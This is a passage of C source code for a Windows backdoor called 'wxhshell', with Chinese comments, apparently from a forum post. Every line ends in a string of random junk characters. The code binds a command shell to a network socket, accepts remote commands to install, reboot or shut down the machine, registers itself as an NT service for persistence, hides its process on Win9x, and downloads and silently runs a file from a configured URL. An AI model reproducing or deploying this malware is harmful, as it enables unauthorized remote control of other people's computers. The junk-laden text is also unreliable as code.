  } wz#[:2  
  else { ")\aJ8  
W}gVIfe  
    switch(cmd[0]) { lJ/6-dP  
  _x\m|SF_g  
  // 帮助 qb7^VIo%c  
  case '?': { }5S2p@W)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  Dt}dp_  
    break; ??xlA-E  
  } ?vbDB4  
  // 安装 b :\D\X  
  case 'i': { Lo3-X  
    if(Install()) qe?Ggz3p.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .j 'wQ+_  
    else w!,QxrOV~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D$pj#  
    break; wa?+qiWnrl  
    } ZJXqCo7O  
  // 卸载 'C]jwxy  
  case 'r': { ?MZ:_'2p  
    if(Uninstall()) "\T"VS^pd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gRvJ.Q{h  
    else "@t-Cy:!O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $[e%&h@JR  
    break; N du7nKG  
    } h;Mu[`  
  // 显示 wxhshell 所在路径 "Pdvmur  
  case 'p': { }MZan" cfo  
    char svExeFile[MAX_PATH]; S:97B\ u`  
    strcpy(svExeFile,"\n\r"); D0%FELG05  
      strcat(svExeFile,ExeFile); 0VG=?dq  
        send(wsh,svExeFile,strlen(svExeFile),0); )1z4q`  
    break; O)<r>vqe}  
    } Sr7@buF  
  // 重启 m!!;/e?yx  
  case 'b': { gE=Wcb!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /#\?1)jCK  
    if(Boot(REBOOT)) yV_ L/,6}D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TNsg pJ?\  
    else { b+$o4 l/x  
    closesocket(wsh);  Ec.)!Hu  
    ExitThread(0); (4ZLpsbJ  
    } aJQXJ,>Lv  
    break; # ITLz!g E  
    } s>J3\PC  
  // 关机 RK3.-  
  case 'd': { fk\5D[j^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6aSM*S)  
    if(Boot(SHUTDOWN)) _h~p:=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q!) z)-hI  
    else { bw;iz ,Z  
    closesocket(wsh); 1}DerX6  
    ExitThread(0); A:xb!= 2  
    } c,AZ/t  
    break; /'`6 ; uRN  
    } :~r#LRgc  
  // 获取shell Ph"iX'J  
  case 's': { vK'9{q|g  
    CmdShell(wsh); 5=.7\#D  
    closesocket(wsh); yTj p-  
    ExitThread(0); uXP- J]>  
    break; WhenwQT  
  } "S|(4BUJ(  
  // 退出 ~FNPD'`t  
  case 'x': { ]TfeBX6ST  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hs,5LV)|y  
    CloseIt(wsh); r&/D~g\"|[  
    break; Si[eAAd' :  
    } {6YxN&  
  // 离开 hgif]?:C<  
  case 'q': { af^@ .$ |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YiBOi?h9  
    closesocket(wsh); 9<~,n1b>x  
    WSACleanup(); X@eg<]'m  
    exit(1); *|CLO|B)  
    break; &0i71!Oy  
        } * T\>  
  } $uTlbAuv  
  } X%35XC.n  
& ]%\.m  
  // 提示信息 - YAO3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _we3jzMW  
} B*BHF95!  
  } 'iGMn_&  
mR6E]TuM  
  return; P69>gBZYD  
} b/G8M r  
D~7%};D[  
// shell模块句柄 y#nSk% "t"  
int CmdShell(SOCKET sock) w0\4Wa  
{ n<+~ zQ  
STARTUPINFO si; iF+S%aPd#  
ZeroMemory(&si,sizeof(si)); M Yu?&}%^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dvxf lLd @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %!D_q ~"H  
PROCESS_INFORMATION ProcessInfo; &F9OZMK=  
char cmdline[]="cmd"; 6J]~A0vsi}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V9gVn?O0  
  return 0; @eA %(C  
} mn Qal>0~  
)m)h/_  
// 自身启动模式 JJ)y2  
int StartFromService(void) A>[hC{  
{ @t "~   
typedef struct $kM '  
{ s%hU*^ 8  
  DWORD ExitStatus; &~42T}GTWG  
  DWORD PebBaseAddress; =CGD ~p`  
  DWORD AffinityMask; %oMWcgsdJi  
  DWORD BasePriority; 0>8ZN!@K  
  ULONG UniqueProcessId; :R{x]sv  
  ULONG InheritedFromUniqueProcessId; u;QH8LK  
}   PROCESS_BASIC_INFORMATION; 4$qNcMdz  
7B VXBw  
PROCNTQSIP NtQueryInformationProcess; aKa  R  
1+VY><=n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]gjr+GV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #I bS  
Ixyvn#ux )  
  HANDLE             hProcess; Bd/} %4V\@  
  PROCESS_BASIC_INFORMATION pbi; N,h1$)\B#  
VM=hQYe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {_?T:`  
  if(NULL == hInst ) return 0; qAnA=/k`  
7j4ej|Fjo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cca~Cq[%*(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |C&%S"*+D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U#OWUZ  
,s\x]bh  
  if (!NtQueryInformationProcess) return 0; ^mS.HT=X  
z +y;y&P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BLWA!-  
  if(!hProcess) return 0; |Gf1^8:C9  
N`y}Gs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !5yRWMO9X~  
yBJ/>SAcG  
  CloseHandle(hProcess); +e&m#d  
Tz+HIUIxF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $,xtif0  
if(hProcess==NULL) return 0; -[i40 1  
G5y]^P  
HMODULE hMod; 82G lbd)  
char procName[255]; >DPds~k  
unsigned long cbNeeded;  PU,6h}  
V[BY/<z)A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GlXA-p<  
x*5 Ch~<k  
  CloseHandle(hProcess); D!l [3  
wrZ7Sr!/V  
if(strstr(procName,"services")) return 1; // 以服务启动 e|2vb GQ  
yEMX`  
  return 0; // 注册表启动 !D.= 'V  
} i}v}K'`  
$.suu^>^w  
// 主模块 )nf=eU4|  
int StartWxhshell(LPSTR lpCmdLine) [ t>}SE  
{ aYv'H  
  SOCKET wsl; UE}8Rkt  
BOOL val=TRUE; J dk3) \  
  int port=0; bIvJs9L  
  struct sockaddr_in door; uzzWZ9Tv  
yv6Zo0s<J  
  if(wscfg.ws_autoins) Install(); mq|A8>g  
BK`Q)[  
port=atoi(lpCmdLine); 0~PXa(!^K  
I?^Q084  
if(port<=0) port=wscfg.ws_port; 3D 4]yR5  
%J/fg<W1  
  WSADATA data; 1kz9>;Ud6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =8$(i[;6w  
D:ql^{~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -dc"N|.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lOWB^uS%  
  door.sin_family = AF_INET; t  z +  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J_y<0zF**  
  door.sin_port = htons(port); (`q6G d  
uMiD*6,$<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $ uz1  
closesocket(wsl); +l[Z2mW  
return 1; i5L+8kx4  
} ,T,B0  
>q} !>k$B  
  if(listen(wsl,2) == INVALID_SOCKET) { Z=e[ !c  
closesocket(wsl); 41 c^\1  
return 1; mK7^:(<.LO  
} }(f.uN_v  
  Wxhshell(wsl); =:CGl   
  WSACleanup(); *783xEF>f  
O&rD4#  
return 0; {|7OmslC@  
0~@L%~  
} \ pe[V~F  
36x5q 1  
// 以NT服务方式启动 .dg 4gr\D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xy-$v   
{ #G[ *2h~99  
DWORD   status = 0; s&_IWala  
  DWORD   specificError = 0xfffffff; +[ZMrTW!0C  
d @^o/w8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k vue@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }e/[$!35  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vJ'yz#tl9  
  serviceStatus.dwWin32ExitCode     = 0; 4cErk)F4  
  serviceStatus.dwServiceSpecificExitCode = 0; Yq)YS]  
  serviceStatus.dwCheckPoint       = 0; m&8U4uHN  
  serviceStatus.dwWaitHint       = 0; F=*BvI "+  
}K#&5E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y_Z &p#Q!  
  if (hServiceStatusHandle==0) return; P&-D0T_  
EE{#S  
status = GetLastError(); )"i>R ~*  
  if (status!=NO_ERROR) "OS]\-  
{ @y;tk$e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @=MZ6q  
    serviceStatus.dwCheckPoint       = 0; 6>LQGO  
    serviceStatus.dwWaitHint       = 0; ,,wyydG  
    serviceStatus.dwWin32ExitCode     = status; N#-kk3!Z;  
    serviceStatus.dwServiceSpecificExitCode = specificError; $&n240(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FgHB1x4;  
    return; ZhJ|ZvJ  
  } a?U%l9F  
_I -0,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0%&fUz36E6  
  serviceStatus.dwCheckPoint       = 0; [6/%V>EM  
  serviceStatus.dwWaitHint       = 0; T`RQUJO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "ojDf3@{  
} x=)30y3*;  
WW8L~4Zy  
// 处理NT服务事件,比如:启动、停止 @$b+~X)7  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  2U+z~  
{ :+gCO!9Y  
switch(fdwControl) q*<J $PI  
{ MSYLkQ}_b  
case SERVICE_CONTROL_STOP: eqUn8<<s  
  serviceStatus.dwWin32ExitCode = 0; Z>MJ0J76]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;2xXX,'R7  
  serviceStatus.dwCheckPoint   = 0; ,mE]?XyO  
  serviceStatus.dwWaitHint     = 0; G(Idiw#WT  
  { pRk'GR]`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _uy5?auQ  
  } Y(G*Yi?;  
  return; O7<V@GL+  
case SERVICE_CONTROL_PAUSE: C Sk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >{LJ#Dc6  
  break; m|?" k38  
case SERVICE_CONTROL_CONTINUE: 5@%=LPV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4~pO>6P   
  break; ?GMeA}j  
case SERVICE_CONTROL_INTERROGATE: zx]M/=7,V#  
  break; ezq q@t9  
}; N:gstp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]TTJrC:  
} [(e`b  
Jk6/i;4|  
// 标准应用程序主函数 dn.c#,Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~]_jKe4W  
{ ReG O9}  
K~hlwjrt  
// 获取操作系统版本 Q&U= jX  
OsIsNt=GetOsVer(); as!|8JE`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I` n1M+=%  
+IOKE\,Y  
  // 从命令行安装 ]zM90$6  
  if(strpbrk(lpCmdLine,"iI")) Install(); -"JE-n  
)V+Dqh,-g  
  // 下载执行文件 UXdC<(vK  
if(wscfg.ws_downexe) { *!7SM 7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @l6 dJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); C7*Yg$`{  
} B=RKi\K6a  
J<P/w%i2  
if(!OsIsNt) { @1qUC"Mg  
// 如果时win9x,隐藏进程并且设置为注册表启动 t"74HZO >  
HideProc(); MT#[ - M\  
StartWxhshell(lpCmdLine); 7zk m  
} K?9H.#(  
else $lG--s  
  if(StartFromService()) 7[?}kG   
  // 以服务方式启动 >8mW-p  
  StartServiceCtrlDispatcher(DispatchTable); #<V'gE  
else 5bqYi  
  // 普通方式启动 :-'ri Ry  
  StartWxhshell(lpCmdLine); LM`tNZ1Fc!  
cF<DUr)Ve  
return 0; pcxl2I  
}
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只看该作者 1 发表于: 2006-10-10
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